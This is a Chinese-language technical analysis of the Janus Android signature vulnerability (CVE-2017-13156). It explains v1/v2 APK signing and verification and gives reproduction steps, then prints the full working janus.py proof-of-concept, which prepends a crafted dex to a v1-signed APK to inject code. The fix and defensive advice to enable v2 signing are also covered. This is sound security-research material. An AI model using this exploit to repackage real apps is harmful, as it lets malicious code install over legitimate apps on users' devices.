CVE-2017-13156 Janus签名漏洞分析与复现
这是在18年初分析的一个漏洞。Android的APK签名方式可以分为V1和V2两种方式。Janus签名漏洞可以做到在Android APK只做了V1签名的情况下,如果在APK原始文件中插入一个恶意伪造的DEX文件,那么APK在安装运行时,Android的虚拟机会直接执行恶意插入的DEX文件。由于没有破坏原有的V1签名,常见的攻击场景是:可以在更新时覆盖掉原有的APK,以原有APK的权限来执行恶意代码。因此,开发者在使用Android Studio给Android APK签名时,最好勾选上V2签名。
影响:Android5.0-8.0的各个版本和使用安卓V1签名的APK文件
0x01 v1和v2签名机制简介
v1签名基于java的jar的签名验证方式,保护链是每个受完整性保护的 JAR 条目的 <signer>.(RSA|DSA|EC) -> <signer>.SF -> MANIFEST.MF ->
内容,不能够保证apk不被插入其它东西。(关于这些文件内容的具体说明请参考0x02)
v2签名是从android7.0引入的, v2 是一种全文件签名方案,能够发现对 APK 的受保护部分进行的所有更改。保护下图中第1、3、4部分的完整性 和 v2块中的signed data。signed data保存了前者的hash。并且v2和v1签名后的apk中,在SF文件存在X-Android-APK-Signed为v2,即使删除了v2签名也不能修改SF文件,因此v2签名更安全。
V2签名前和签名后的 APK:
查看APK的做了V1还是V2签名的方法:apksigner
$ apksigner verify -v app-release-v1.apk
Verifies
Verified using v1 scheme (JAR signing): true
Verified using v2 scheme (APK Signature Scheme v2): false
Number of signers: 1
$ apksigner verify -v app-release-v1-v2.apk
Verifies
Verified using v1 scheme (JAR signing): true
Verified using v2 scheme (APK Signature Scheme v2): true
Number of signers: 1
# 或者查看CERT.SF文件,如果存在X-Android-APK-Signed: 2 说明做了同时做了V1和V2签名。
更多细节,参考官方文档:APK 签名方案 v2
0x02 APK签名目录相关文件
Android的APK本质上是ZIP文件格式,我们可以通过解压一个APK来获取里面的资源文件。其中签名相关的文件通常放在META-INF目录下,里面有以下三个文件,我们具体来看一下每个文件的作用。
META-INF
├── CERT.RSA
├── CERT.SF
└── MANIFEST.MF
Ⅰ MANIFEST.MF
该文件的内容参考如下。APK中除了META-INF目录下的文件,都做一次sha1 + base64 ,保存在MANIFEST.MF中。
Manifest-Version: 1.0
Built-By: Generated-by-ADT
Created-By: Android Gradle 3.0.0
Name: AndroidManifest.xml
SHA1-Digest: 01sAixSYBj1506LIEdkHH5dbqg0=
Name: classes.dex
SHA1-Digest: ir3uMx9inAy6H81PPMwGZ6GDuuY=
Ⅱ CERT.SF
Signature-Version: 1.0
Created-By: 1.0 (Android)
SHA1-Digest-Manifest: SKpf0KsArladqtLLUPemsIxf07c= //MANIFEST.MF SHA1+BASE64
X-Android-APK-Signed: 2 //该文件是受v2签名保护的
Name: AndroidManifest.xml
SHA1-Digest: tODsK53s/olG7+0JZxBTIohcQ5g=
Name: classes.dex
SHA1-Digest: O3wv5TVV/9fzecQzE3sOhjpCAEA=
-
计算这个MANIFEST.MF文件的整体SHA1值,再经过BASE64编码后,记录在CERT.SF主属性块(在文件头上)的“SHA1-Digest-Manifest”属性值值下
-
逐条计算MANIFEST.MF文件中每一个块(2+2CRLF)的SHA1,并经过BASE64编码后,记录在CERT.SF中的同名块中,属性的名字是“SHA1-Digest"
Ⅲ CERT.RSA
# 查看RSA文件内容
$ openssl pkcs7 -inform DER -in \*.RSA -noout -print_certs -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 687319907 (0x28f7ab63)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=000, ST=state, L=city, O=organization, OU=unit, CN=name
Validity
Not Before: Jan 18 01:42:48 2018 GMT
Not After : Jan 12 01:42:48 2043 GMT
Subject: C=000, ST=state, L=city, O=organization, OU=unit, CN=name
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:8c:76:c0:54:3e:e2:a1:2c:d2:e7:df:d2:3d:39:
//...
12:83
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
E2:41:17:AE:BD:74:35:79:7D:E1:44:69:CB:BD:BB:63:EE:F0:6D:55
Signature Algorithm: sha256WithRSAEncryption
88:f7:d0:e2:5a:a5:b1:78:54:7e:7b:aa:47:ed:5c:b2:b7:0a:
//...
ea:6a:d7:8d
用私钥计算出CERT.SF文件签名,将签名以及包含公钥信息的数字证书一同写入 CERT.RSA 中保存。
0x03 v1和v2的签名验证过程
APK在安装时,验证签名的过程如下:
具体V1和V2两种签名方式的验证过程,参考官方文档:
V2验证过程:https://source.android.com/security/apksigning/v2?hl=zh-cn
V1验证过程:https://source.android.com/security/apksigning/v2?hl=zh-cn#v1-verification
# V1验证过程
1. 找到RSA文件,用公钥解密私钥的签名后的信息,如果能解密,这一步通过;
2. 解密后的值和SF的SHA1值进行比对,如果一致,这一步通过;
3. 查看SF文件中的MF文件的SHA1-Base64值,如果和MF的计算值一样,这一步通过;
4. 计算MF中的Name/SHA1-Digest属性块的SHA1-Base64值和SF里的对比,如果一致,这一步通过;
5. 计算除META-INF外的每个文件的SHA1-Base64值和MF里的对比,如果一致,这一步通过。
0x04 Janus漏洞
复现过程
Android Studio中签名之后的APK存储路径如下: app/build/outputs/apk/debug/app-debug.apk
Android Studio中,当app-debug.apk 不手动签名时,Android Studio会使用android默认的签名,有v2签名。为了复现Janus漏洞,我们需要让手动使用v1签名apk 。
验证Janus.py签名漏洞过程:
# 0x00 android-studio build生成apk文件(不build 生成的apk有很多dex)
$ cp app/build/outputs/apk/debug/app-debug.apk ~/Desktop/CVE-2017-13156-Janus
# 0x01 解压app-debug.apk获取classes.dex文件 或者用下面的方法直接从apk获取smali
# 0x02 获取smali文件 baksmali
$ d app-debug.apk -o baksmali-app-debug
# 0x03 修改MainActivity.smali toast字符串
# 0x04 使用smali.jar 生成恶意dex
$ smali a baksmali-app-debug
# 0x05 使用janus.py生成恶意apk
$ python janus.py out.dex app-release-v1.apk app-release-v1-janus.apk
# 0x06 复现 adb install -r 安装apk
adb install -r app-release-v1.apk
adb install -r app-release-v1-janus.apk # 覆盖原文件,执行自定义的dex
构造恶意APK的原理
Janus.py的原理是拼接dex和原始的apk。
zip文件格式由文件数据区1、中央目录结构2和中央目录结束节3三部分组成。可以通过获得文件尾部的中央目录结束节3获取中央目录2,遍历中央目录2中的每项记录可以得到的文件数据1即为压缩文件的数据。因此POC拼接dex和zip时需要修改的字段如下:
1. 中央目录结束节有一个字段保存了中央目录结构的偏移,这里需要修改加上dex文件的大小。
2. 接下来依次更新中央目录结构数组中的deHeaderOffset字段也就是本地文件头的相对位移字段,这里也要修改加上dex文件的大小。
3. 最后更新dex部分的file_size字段为整个dex+apk的大小,使用alder32算法和SHA1算法更新checksum和signature字段。
整个攻击过程如下图所示:
结合安天这张图,查看构造恶意APK的过程,描述的很形象:
POC
#!/usr/bin/python
# https://github.com/V-E-O/PoC/blob/master/CVE-2017-13156/janus.py
import sys
import struct
import hashlib
from zlib import adler32
def update_checksum(data):
m = hashlib.sha1()
m.update(data[32:])
data[12:12+20] = m.digest()
v = adler32(buffer(data[12:])) & 0xffffffff
data[8:12] = struct.pack("<L", v)
def main():
if len(sys.argv) != 4:
print("usage: %s dex apk out_apk" % __file__)
return
_, dex, apk, out_apk = sys.argv
with open(dex, 'rb') as f:
dex_data = bytearray(f.read())
dex_size = len(dex_data)
with open(apk, 'rb') as f:
apk_data = bytearray(f.read())
cd_end_addr = apk_data.rfind('\x50\x4b\x05\x06')
cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)
pos = cd_start_addr
while (pos < cd_end_addr):
offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size)
pos = apk_data.find("\x50\x4b\x01\x02", pos+46, cd_end_addr)
if pos == -1:
break
out_data = dex_data + apk_data
out_data[32:36] = struct.pack("<L", len(out_data))
update_checksum(out_data)
with open(out_apk, "wb") as f:
f.write(out_data)
print ('%s generated' % out_apk)
if __name__ == '__main__':
main()
0x05 修复
修复代码很简单,判断当前的ZIP文件的MAGIC NUMBER是否是正确,如果不是(如果是dex的MAGIC NUMBER)就退出,也就不会有后续执行的过程了。
0xFF 参考
- google apksigning概述 https://source.android.com/security/apksigning/
- 安全客对于POC的详细分析 https://www.anquanke.com/post/id/90372
- 安天的分析文章,包含zip、dex文件格式以及签名机制的补充:http://blog.avlsec.com/2017/12/5014/janus/
- http://www.androidchina.net/5111.html
- http://www.chenglong.ren/
- 对Android签名校验做了简单的源码分析 https://future-sec.com/Janus-CVE-2017-13156-analysis.html